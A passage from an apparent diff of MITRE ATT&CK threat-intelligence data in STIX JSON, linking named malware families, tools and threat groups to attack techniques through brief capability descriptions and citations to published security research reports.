Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses the SmartAssembly obfuscator to pack an embedded .Net Framework assembly used for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d5c6c2bd-e49f-4d88-9351-a1c3d7f3ef99", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "modified": "2019-04-24T23:40:23.449Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "source_name": "Unit 42 OopsIE! Feb 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can open the Windows Firewall on the victim\u2019s machine to allow incoming connections.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--448ea71c-ebfa-4604-bb8e-0c8c997c746a", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "source_name": "US-CERT TYPEFRAME June 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) uses a custom encryption algorithm on data sent back to the C2 server over HTTP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--805f7ba3-a904-410c-b9fd-20356c595b19", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "modified": "2019-04-24T23:10:02.440Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[Misdat](https://attack.mitre.org/software/S0083) network traffic communicates over a raw socket.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--21a00e2e-b068-4aff-ab8e-ec3dd6e29c5c", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has used DLL side-loading to evade anti-virus.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--464ce0ed-31a5-4a99-9791-9ce5bb987f58", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:15.847Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Clandestine Fox Part 2", + "description": "Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html" + }, + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "Stewart 2014", + "description": "Stewart, A. (2014). DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf" + }, + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "Palo Alto PlugX June 2017", + "description": "Lancaster, T. and Idrizovic, E.. (2017, June 27). Paranoid PlugX. Retrieved July 13, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[Pupy](https://attack.mitre.org/software/S0192) uses PowerView and Pywerview to perform discovery commands such as net user, net group, net local group, etc.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--bdb0d192-3d82-4e5b-92bc-7ef24fd3e65b", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.931Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) gathers the OS version, CPU type, amount of RAM available from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--01aac35b-55e1-40d6-962f-5b5a6efdb2be", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.617Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "source_name": "S2 Grupo TrickBot June 2017", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + }, + { + "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.", + "source_name": "Fidelis TrickBot Oct 2016", + "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--0b7d2d81-0d74-4365-a8ca-d70974c84a57", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "modified": "2019-05-10T12:14:32.237Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[OnionDuke](https://attack.mitre.org/software/S0052) uses Twitter as a backup C2 method. It also has a module designed to post messages to the Russian VKontakte social media site.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6b39985b-2e2f-4d54-9211-aef4d94b318f", + "source_ref": "malware--b136d088-a829-432c-ac26-5529c26d4c7e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[UACMe](https://attack.mitre.org/software/S0116) contains many methods for bypassing Windows User Account Control on multiple versions of the operating system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ecd83e69-2eb1-4c2d-a01f-e42ea8f807f9", + "source_ref": "tool--102c3898-85e0-43ee-ae28-62a0a3ed9507", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.", + "source_name": "Github UACMe", + "url": "https://github.com/hfiref0x/UACME" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) enumerates running processes to search for Wireshark and Windows Sysinternals suite.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--992ffd2b-bac7-418c-a401-b2be739818c9", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "modified": "2019-04-24T23:55:43.387Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "source_name": "Unit 42 DarkHydrus July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "source_name": "Unit42 DarkHydrus Jan 2019", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used various tools to download files, including DGet (a similar tool to wget).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d7c5e4f4-cede-4a81-b46f-035b9e702e61", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.314Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can execute commands using a shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c7216b7e-6469-4e00-94d4-9e5ee2a0e99e", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "source_name": "US-CERT TYPEFRAME June 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) can add a new service to ensure [PlugX](https://attack.mitre.org/software/S0013) persists on the system when delivered as another payload onto the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1d3c31c2-6756-483a-8aee-736bac591c1a", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "source_name": "Proofpoint ZeroT Feb 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1c12b31e-7f17-4e00-a6b5-7eddb5828f34", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.670Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT BADCALL", + "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "A [TYPEFRAME](https://attack.mitre.org/software/S0263) variant uses fake TLS to communicate with the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ce71fe23-3f12-4a7c-9966-5822cdce29d3", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "source_name": "US-CERT TYPEFRAME June 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) identifies processes and collects the process ids.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--37ece881-96cf-441a-981d-ff3eeac292d7", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "source_name": "McAfee Bankshot", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.050Z", + "id": "relationship--3ae8d262-d2f8-4fa5-adb4-e379d43b9c37", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.497Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "description": "[Havij](https://attack.mitre.org/software/S0224) is used to automate SQL injection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--ced175fd-1f27-44cb-8d7f-44277b1754e4", + "source_ref": "tool--fbd727ea-c0dc-42a9-8448-9e12962d1ab5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ganani, M. (2015, May 14). Analysis of the Havij SQL Injection tool. Retrieved March 19, 2018.", + "source_name": "Check Point Havij Analysis", + "url": "https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) network traffic can communicate over a raw socket.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--00b84a9d-8f8c-4b12-9522-ce2d1a324c25", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ee02be12-0884-43dc-b0b4-aaaa306b1f19", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.687Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lazarus RATANKBA", + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Reaver](https://attack.mitre.org/software/S0172) collects the victim's IP address.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--f6cb3957-be7f-41bf-ad44-3dfbd7a5dfe2", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "source_name": "Palo Alto Reaver Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to enumerate files and drives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--50271beb-48b1-411e-86b5-990b4cbb1fb5", + "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "Some [SeaDuke](https://attack.mitre.org/software/S0053) samples have a module to extract email from Microsoft Exchange servers using compromised credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--32864e94-8581-4f77-bf7d-53aaf3710f60", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.", + "source_name": "Symantec Seaduke 2015", + "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[T9000](https://attack.mitre.org/software/S0098) encrypts collected data using a single byte XOR key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bb11119c-c409-4615-8c3f-8491749f2d3b", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "source_name": "Palo Alto T9000 Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) is able to open a remote shell to execute commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--68852bf2-c3cf-4d59-b1c1-f6af8fb61be6", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "modified": "2019-04-16T20:26:40.893Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.", + "source_name": "FireEye Hacking Team", + "url": "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html" + }, + { + "source_name": "Nccgroup Gh0st April 2018", + "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", + "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has sent spearphising emails with malicious attachments to potential victims using compromised and/or spoofed email accounts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a025d011-6e46-4d3a-a9f7-31324027b7cf", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.305Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + }, + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + }, + { + "source_name": "Crowdstrike Helix Kitten Nov 2018", + "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) adds a new service named NetAdapter in an apparent attempt to masquerade as a legitimate service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b4c195b6-7b1f-4320-8040-e91c11ec8cbb", + "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", + "source_name": "Symantec Catchamas April 2018", + "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) uses Port Numbers 443 and 80 for the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f19df215-56f2-42c0-9e71-f4b5a2069c98", + "source_ref": 